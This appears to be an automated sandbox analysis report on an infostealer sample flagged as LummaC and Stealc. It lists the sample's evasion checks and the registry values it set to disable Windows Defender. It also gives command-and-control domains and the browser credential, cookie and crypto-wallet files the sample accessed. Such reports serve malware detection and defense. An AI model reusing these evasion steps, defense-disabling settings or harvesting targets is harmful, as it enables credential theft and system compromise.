Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe, 0000000D.00000002.2650616196.00000000005DD000.00000040.00000001.01000000.00000006.sdmp, O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2626425204.000000000081D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BVGvbpplT8.exe, 00000001.00000003.2284863834.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Code function: 13_2_005D89CE rdtsc

13_2_005D89CE

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Code function: 13_2_0045B96C LdrInitializeThunk,

13_2_0045B96C

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: O215CKAM4VJZ3EV7.exe PID: 8020, type: MEMORYSTR

LummaC encrypted strings found

Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: BVGvbpplT8.exe, 00000001.00000003.2155675214.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: 44WNAJWW05E0258PKFVID8DSXYO93MX.exe, 0000000D.00000002.2650815301.0000000000620000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: *Program Manager
Source: O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2627147094.0000000000860000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: BVGvbpplT8.exe, BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2410464131.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370285977.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2387198787.0000000000D61000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BVGvbpplT8.exe PID: 4060, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2625371744.0000000000451000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2570990607.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: O215CKAM4VJZ3EV7.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BVGvbpplT8.exe	String found in binary or memory: Wallets/Electrum
Source: BVGvbpplT8.exe	String found in binary or memory: Wallets/ElectronCash
Source: BVGvbpplT8.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: BVGvbpplT8.exe	String found in binary or memory: window-state.json
Source: BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Le
Source: BVGvbpplT8.exe	String found in binary or memory: ExodusWeb3
Source: BVGvbpplT8.exe	String found in binary or memory: Wallets/Ethereum
Source: BVGvbpplT8.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BVGvbpplT8.exe, 00000001.00000003.2349314249.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
